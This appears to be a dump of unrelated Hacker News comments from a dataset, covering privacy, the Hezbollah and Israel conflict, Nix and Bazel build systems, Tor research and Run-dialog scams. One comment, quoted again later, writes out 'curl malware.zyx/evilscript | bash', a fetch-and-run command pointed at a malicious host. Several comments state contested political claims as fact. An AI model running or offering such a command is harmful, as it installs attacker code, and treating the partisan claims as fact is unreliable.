skysight-inc/HackerNews huggingface dataset:
> There isn’t a single intellectually honest harm associated with the majority of app telemetry and for almost all ad data collection. Like go ahead and name one.

You’ve already signaled that you’re ready and willing to dismiss any of the many obvious reasons why this is bad. But let’s flip it. What intellectually honest reason do you have for why it would be wrong if I’m watching you while you sleep? If I inventory your house while you’re away, and sell this information to the highest bidder? No bad intentions of course on my part, these things are just my harmless hobby and how I put bread on the table.

In my experience literally everyone who argues that we don’t really have a need for privacy, or that concerns about it are paranoid or that there’s no “real” threat.. well those people still want their own privacy, they just don’t respect anyone else’s.

More to the point though, no one needs to give you an “intellectually honest” reason that they don’t want to be spied on, and they don’t need to demonstrate bad intentions or realistic capabilities of the adversary, etc. If someone threatens to shoot you, charges won’t be dropped because the person doesn’t have a gun. The threat is extremely problematic and damaging in itself, regardless of how we rank that persons ability to follow through with their stated intent.
There is a separate answer here which is many (most?) SMBs can't afford technical folk, so the ability integrate data at all, talk to it and model it (using SQL or AI), is already a big step forward for them.

My personal use case tends to involve a lot of Postgres data and transaction events for my reporting. We see "simple" businesses like parts manufacturers, print shops, vineyards, etc. all doing something similar.
That explains why I haven't encountered this, but at least now I know
If you are using a radio given to you by Hezbollah it is fair to say you are working with them, that's it imo. Even if you arent currently you likely will in the future, which is why they gave you the device.
I've started disabling the Run dialog for non-technical users, but unfortunately a GitHub attack targets users who likely have a real use for it sometimes.

The clipboard strategy feels like it should be easy to block too, most scammers just convince people to type a well-obscured URL into the Run dialog manually over the phone.
> it makes me wonder if there isn’t an upper limit to energy density

Yes, in a sense. The point at which the energy bends space-time into a black hole.
I thought I remembered VoLTE or something related to using VoLTE on some networks wouldn't work with a rooted phone. But I'm not sure since I was looking at this a year or two ago and don't remember.
Ever stop and think it's funny that Meta, Google, etc. are worth billions because they figured out how to legally fill a database with information about you? In any other time in history some might call it spying, but well they figured out how to do it legally, and it's worth billions. Meanwhile from a technical standpoint, remotely logging your data is a trivial thing, with consent of course. It's like, we made this imaginary wall (law) and spent billions building a road around that wall, and thats equivalent to econmic prosperity. Similar idea with streaming services versus file sharing.
> Problem number 3, Windows still let you root a machine by 1 line in powershell? What the @$$%&%&#$?

sigh It needs to be run under an account with admin privileges for that. The shield on the "Run" dialog screenshot clearly indicates what it was taken under a user with admin privileges and UAC disabled.

Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.
Let me introduce you to the "germ theory" of disease. It makes more accurate predictions about the world than other disease theories!

https://www.todayifoundout.com/index.php/2016/08/history-pas...
Emphasizing that the number can be changed would really help there.

People could even generate their own number (private key), which they never gave out, and appeared differently to each account manager verifying it, and still replace them.

When you choose your own number, it's only the Mark of the Beast if you are the Beast! * **

* 666, 13, 69 and 5318008 expressly prohibited.

** Our offices only provide temporary tattoos.
Author here — the image quality was comparable, if not better, which is understandable because both use pretty standard commercial scanners. An upside is that instead of cutting the binder as 1DollarScan does, they tore the pages from the seam, so the pages remained whole. They didn’t do any compression either.
I hadn't read your top-level comment here before I wrote mine, but I think you're responding to a different question from the one the authors intended to answer. The paper's language is rather muddy (even vs. the preprint), I assume because Cell required the authors to weaken their claims. The authors' comments to the popular media express their intent more clearly:

> "This paper slots into many other studies over the last few years that have been building the case for this very clearly being a natural virus that spilled over, very likely at the Wuhan seafood market," Kristian Andersen, co-corresponding author and professor at Scripps Research, told Newsweek.

https://www.newsweek.com/scientists-shed-light-wildlife-spec...

This paper is about that initial introduction of the virus into humans, not about subsequent human-to-human spread. The authors are arguing that SARS-CoV-2 was "very clearly" natural, and thus not a research accident. This forms the basis for arguments that additional regulation of high-risk biological research is unnecessary, since it's much harder to say that with the possibility that such research just killed ~30M people.
Are you open sourcing the product for non-commercial use?
> shouldn’t it blueshift on the way in, gain some preposterous amount of energy — enough that it can escape

You're devilishly close to the Penrose process by which "energy can be extracted from a rotating black hole" [1]. (You can also make them explode [2].)

[1] https://en.wikipedia.org/wiki/Penrose_process

[2] https://en.wikipedia.org/wiki/Black_hole_bomb
the vast majority of landlords are small potatoes not worth talking about. understand that, when people talk about landlords, they're probably talking about the landlords of the vast majority of rentals.
Best to hop on with support@pingproxies.com and explain your use-case. They'll be able to say whether or not we have a service that fits your needs.

Cheers,
Tim at Ping
Or, why have a registry at all? Can't the chip itself hold a few bytes of data for a phone number? I don't know anything about these "chips", but I have to imagine that's possible.
> it seem like you decided against acting with integrity in this situation ... you chose to look the other way and resign.

I agree with this statement.

This isn't a judgement, we all have to make choices; the "right" choice (the one that aligns with integrity) is usually the one that will be the least self-serving and even temporarily harmful. They did what was right for them, that's okay, but it was not the choice of integrity.
Pouring one out for Pivotal Tracker. This was an outstanding ticket tracking and project management system, way ahead of its time.

Back when I did contract software engineering, Pivotal Tracker made managing client relationships a breeze by giving the client perfect visibility into the impact of feature requests, and allowing them to make the tradeoffs that made sense for their business.

"Want to add this new feature, and do it right away? No problem, but as you can see, if I drag it into this week, as a 4-point task, it pushes everything else back by two days, which means we'll have to cut something else or change the launch date."

Great UI, great vibes, and was just a delight to use. Even as PT dies, its legacy lives on. Thank you, PT team!
I mean, that's the same as saying "are elves paid the same? We can obviously argue how that's even possible, but that's a separate issue altogether"

It's a nonsensical hypothetical.
Building a crime map with police scanner audio
Do you think that all the injuries caused by Hezbollah to Israelis were to soldiers? Are you aware that they murdered 12 Israeli children two months ago? This very targeted attach had probably the highest militant to civilian ratio in the history of warfare. There have been over 3000 injured militants. To a dozen civilians? What will satisfy you?

And if you're so concerned about civilian deaths, please show me where you've ever posted concern about Israeli civilian deaths. Or did you forget who started this war with Hezbollah.
I don't think anyone would enjoy that, but they'd probably enjoy the war even less. I'm inclined to believe that for most people not all that much would change. You still go to work every day, you still go to school, you still get paid.

Like, I feel like the war has value for not allowing Putin (or any other leader) to just walk all over another country, but whether a specific place is called Russia or Ukraine, Germany or France? Maybe not so much. It just feels weird we're essentially fighting a war more for an ideology than a physical location/group of people. I guess that's always been the case though.
Would love to but unfortunately there are pieces we can't open-source for various reasons. We'll open source bits and pieces over time, and generally are excited to start blogging about AI & technical learnings now that the product is out of stealth mode.

Small plug for the analytics tracker we are using which Andrew (CTO) built and is open source: https://github.com/sfproductlabs/tracker
Yes. Dry runs at least, and better yet terraform-style planning that produces an artifact that can be applied. These should really be more common with all kinds of software
Seems intuitive, but is there any evidence to support it?
very interesting piece
Maybe. Maybe not; it could well be an incompatible flavour of SPIR-V.
One man’s trash is another man’s (data) treasure :-)
Shortwave doesn’t work well as a mobile, moving medium. It is weak-signal reception (by design) and is likely to be compromised every time your car turns in a different direction.
I have the same setup and it works fine on iOS 18.
Well yeah, if your intention is to install software from random.club on your system, what would be the point of checking the installer script? The worst thing it can do is the same thing you want it to do.
Walking through a big PCB factory in China – JLCPCB (2024) [video]
You say this as if the refuge is a thing that lives in isolation and isn't connected to the broader environment in which it exists.

Do you think that it is possible that the destruction of some distant ecological system could destroy this one? And by extension do you think that it is possible that the destruction of this system could destroy another one?
The downside is that it ties them incredibly heavily to Microsoft, and makes cross-platform efforts much harder.
I think size of the readme covers #1
This is no different from installing a random package through a package manager. If you're running "curl pipe sh" because an email told you to, that's on you.
Whatever choices this project makes (I have some opinions, but I think they're not too important) I don't see it mentioning one of the most absolutely critical choices Nix made that was absolutely key to its insane success (at least, IMO, as a hardcore contributor and user for like 10+ years): the monorepo, containing all of the packages and all the libraries for use by everyone downstream, and all contributions trying to go there.

Please do not give into the temptation to just write a version manager and stitch together some hodgepodge and throw the hard problem over the fence to the "community", a set of balkanized repositories to make everything work. It is really really really hard to overstate how much value Nixpkgs gets from going the monorepo route and how much the project has been able to improve, adapt, and overcome things thanks to it. It feels like Nixpkgs regularly pulls off major code-wide changes on an average Tuesday that other projects would balk at.

(It's actually a benefit early on to just keep everything in one repo too, because you can just... clean up all the code in one spot if you do something like make a major breaking change. Huge huge benefit!)

Finally: as a die hard Nix user, I also have been using Buck2 as a kind of thing-that-is-hermetic-cloud-based-and-supports-Windows tool, and it competes in the same space as Zb; a monorepo containing all BUILD files is incredibly important for things to work reliably and it's what I'm exploring right now and seeing if that can be viable. I'm even exploring the possibility of starting from stage0-posix as well. Good luck! There's still work to be done in this space and Nix isn't the final answer, even if I love it.
What other rocket attack has been independently verified? Why such a high standard for this one particular attack? It has no features different from any other Hezbollah attacks against Israel - and there have been literally thousands of such rocket attacks recently. In any case, go look at the footage of the explosion - it was caught by multiple cameras. Or go to Majdal Shams (I have been there many times, though not since the attack) and talk to residents. They all confirm from where the rocket came and in which direction it was heading. This isn't the type of rocket that Israel uses at all.
thats the sign of a good teacher right there
It's not just taxes. U.S. environmental and labor regulations are a big part of why Ford would prefer to manufacture vans in Turkey, burning bunker oil to ship the vans overseas and wasting energy to make and then destroy seats, seat belts, and windows.
You don't. Google doesn't have humans that non-paying customers can reach.

As I wrote, either you work on improving your reputation (set up all the acronyms, send lots of test messages, tell everyone you know that uses Google for mail to look in their filtered mail and tell Gmail that your mail is not junk, keep sending, et cetera), or you smarthost through a reputable service.
> Western media has full control over information and if Ukrainians would do something like this, no one would even know

I'm not inclined to believe that, but even so Russia would scream it off the rooftops if there were the slightest chance that it would affect anything. Unfortunately it'd be lost in the flood of lies that they spout daily. At least western media seems to be mostly silent on things they can't be at least marginally truthful on (presumably because they have no need to be, I guess media in Ukraine is a bit more biased).
Show HN: LeanRL: Fast PyTorch RL with Torch.compile and CUDA Graphs
We're excited to announce that we've open-sourced LeanRL, a lightweight PyTorch reinforcement learning library that provides recipes for fast RL training using torch.compile and CUDA graphs. By leveraging these tools, we've achieved significant speed-ups compared to the original CleanRL implementations - up to 6x faster!

Reinforcement learning is notoriously CPU-bound due to the high frequency of small CPU operations. PyTorch's powerful compiler can help alleviate these issues, but comes with its own costs. LeanRL addresses this challenge by providing simple recipes to accelerate your training loop and better utilize your GPU.

Key results:
- 6.8x speed-up with PPO (Atari)
- 5.7x speed-up with SAC
- 3.4x speed-up with TD3
- 2.7x speed-up with PPO (continuous actions)

Why LeanRL?

- Single-file implementations of RL algorithms with minimal dependencies in the spirit of gpt-fast
- All optimization tricks are explained in the README - no heavy doc, just simple tricks
- Forked from the popular CleanRL library

Check out LeanRL on https://github.com/pytorch-labs/leanrl now!
As a general thought, any idea if people have looked at something like (for example) using Proxmox on the physical hardware so the services can be put on VMs which can be migrated between hosts if there are problems?
The claim is that llama is "lobotomized" because it was trained with safety in mind. You can't untrain that by finetuning. For what it's worth the non-instruct llama generally seems better at reasoning than instruct llama which i think is a point in support of OP.
Thank you for the info. I’ll definitely check out the book especially since I only have duck parts and not live ducks.
This: https://www.sciencedirect.com/science/article/pii/S266729522...

Uses a dataset created from aggregation of logs from all nodes in a simulated Tor environment to train a model that can identify the onion server's IP based on fingerprints created from that model.

>We ran the modified Tor software in the Shadow simulation environment to obtain a large amount of circuits for analysis. Shadow is a discrete-event network simulator developed specifically for Tor network simulation experiments and can run Tor software directly. Therefore, Shadow follows all logic related to Tor circuits. In the simulation environment provided by Shadow, we can build servers, clients, directory authorities, onion services and relays, and can control all nodes. Therefore, we can get circuit data in Shadow without the real Tor network.

This is:
a) Not a real world example
b) Not an example of interception of unencrypted traffic between a client and an onion site
c) Not de-anonymization of a client

This: https://www.usenix.org/system/files/raid2019-iacovazzi.pdf

Is super interesting, it's a real world example of using collusion of an entry node that inserts "watermarked" data to identify an onion service.

It does not:
a) Intercept or break encryption between client and onion service
b) De-anonymize a client

This: https://www.ndss-symposium.org/ndss-paper/flow-correlation-a...

Is the same data watermarking scheme to use entry collusion to identify onion services.

None of your examples show that a connection to an onion server is insecure insofar as data integrity or client anonymity is concerned.
Dune 3D is made by the same guy who did Horizon EDA (https://horizon-eda.org/). A really talented and productive person.
Are you saying you think more critical government databases than OPM or security clearance rosters are inevitably going to be breached?
I'd like to think the government or corporation can effectively protect some databases at least...
idenkitty theft is no joke!
I kinda dig zeeb! Naming is hard. Really awesome project by the way! Should have mentioned that first. Build systems are neat. I've always wanted to try building a build system, in a "learn how it works" sense, not so much "yet another build tool".
I've heard that a lot. TBH, it sounds like they aren't going in order, which is really strange to me. I don't think they are trying to limit it though, given that there are readily available third party adapters anyway.
If you're attending BazelCon I'd love to have a chat with you about this stuff in some more detail. (If you're not I'd still love to have a chat!)
Yes, as per the FDA's own website[0]

[0]https://www.fda.gov/food/alerts-advisories-safety-informatio...
This, then, is the crux of an issue.

Israel kills 10 in retaliation for every one killed, and much of this traces back to pushing people from their homes and illegal occupation.

How will this all end with continual escalation?
PAYWALL!!!!!!!!!!!!!!
I think you could do that with a virtual IP. For some reason my firewall/router doesn't communicate DHCP option 67 correctly, it sends its own address no matter what I do so I had to set up a a virtual IP/rule to route all PXE boot traffic on whatever port that is going to the routers IP, over to the real PXE boot server instead.
>Come on, now cry what Linux still let you root a machine by 1 line in curl malware.zyx/evilscript | bash.

Excuse me, but some of us prefer to let evil scripts root our machines via pure sh, thank you very much.
You'd be mistaken. If you shoot an arrow at a bulls-eye and miss, it doesn't change that the bulls-eye was the target.
One side is a terrorist organization.

The other side is a self proclaimed most moral army of the world.

I’m sorry that I don’t put these both on equal footing. Are you suggesting I should?

And yes, history exists. There’s enough blame to be thrown around. Neither side(s) of this conflict have been angels and neither side(s) of this conflict are universally justified in their actions.

Based on your commentary, I can’t really find a line you’d say Israel shouldn’t cross. Is there such a line for you? If so what is it and I’m curious why you’d say that’s the line.
I mean, if you go into about:config and search pocket, it can be disabled pretty easily if that's your jive.
They do provide enough information to identify the cities. You just have to read the actual paper and check their disclosures. I found it relatively easy to determine which two cities in my region were sampled.

I agree that 10 out of 10 allows the conclusion that it is pretty much everywhere. It also supports the conclusion that it is not actively transmissible between humans, yet.

These numbers actually only cover the period from March to July so current data could be different.
I mean, to be fair, Nix is nothing more than a big ass pile of genrule() calls, at the end of the day. Everything is really just genrule. Nix just makes it all work with the sandbox it puts all builds in. Bazel has an equivalent sandbox and I'm pretty sure you can sandbox genrule so it's in a nice, hermetic container. (Side note, but one of my biggest pet peeves is that Nix without the sandbox is actually fundamentally _broken_, yet we let people install it without the sandbox. I have no idea why "Install this thing in a broken way!" is even offered as an option. Ridiculous.)

The way Nix-like systems achieve hermetic sandboxing isn't so much a technical feat, in my mind. That's part of it -- sure, you need to get rid of /dev devices, and every build always has to look like it happens at /tmp/build within a mount namespace, and you need to set SOURCE_EPOCH_DATE and blah blah, stuff like that.

But it's also a social one, because with Nix you are expected to wrap arbitrary build systems and package mechanisms and "go where they are." That means you have to bludgeon every random hostile badly written thing into working inside the sandbox you designed, carve out exceptions, and write ptaches for things that don't -- and get them working in a deterministic way. For example, you have to change the default search paths for nearly every single tool to look inside calculated Nix store path. That's not a technical feat, it's mostly just a huge amount of hard work to write all the abstractions, like buildRustPackage or makeDerivation. You need to patch every build system like CMake or Scons in order to alleviate some of their assumptions, and so on and so forth.

Bazel and Buck like systems do not avoid this pain but they do pay for it in a different way. They don't "go where they are", they expect everyone to "come to them." Culturally, Bazel users do not accept "just run Make under a sandbox" nearly as much. The idea is to write everything as a BUILD file rule, from scratch rewriting the build system, and those BUILD files instead should perform the build "natively" in a way that is designed to work hermetically. So you don't run ./configure, you actually pick an exact set of configuration options and build with that 100% of the time. Therefore, the impurities in the build are removed "by design", which makes the strict requirements on a sandbox somewhat more lenient. You still need the sandbox, but by definition your builds are much more robust anyway. So you are trading the pain of wrapping every system for the pain of integrating every system manually. They're not the same thing but have a lot of overlap.

So the answer is, yes you can write impure genrules, but the vast majority of impurity is totally encapsulated in a way that forces it to be pure, just like Nix, so it's mostly just a small nit rather than truly fundamental. The real question is a matter of when you want to pay the pied piper.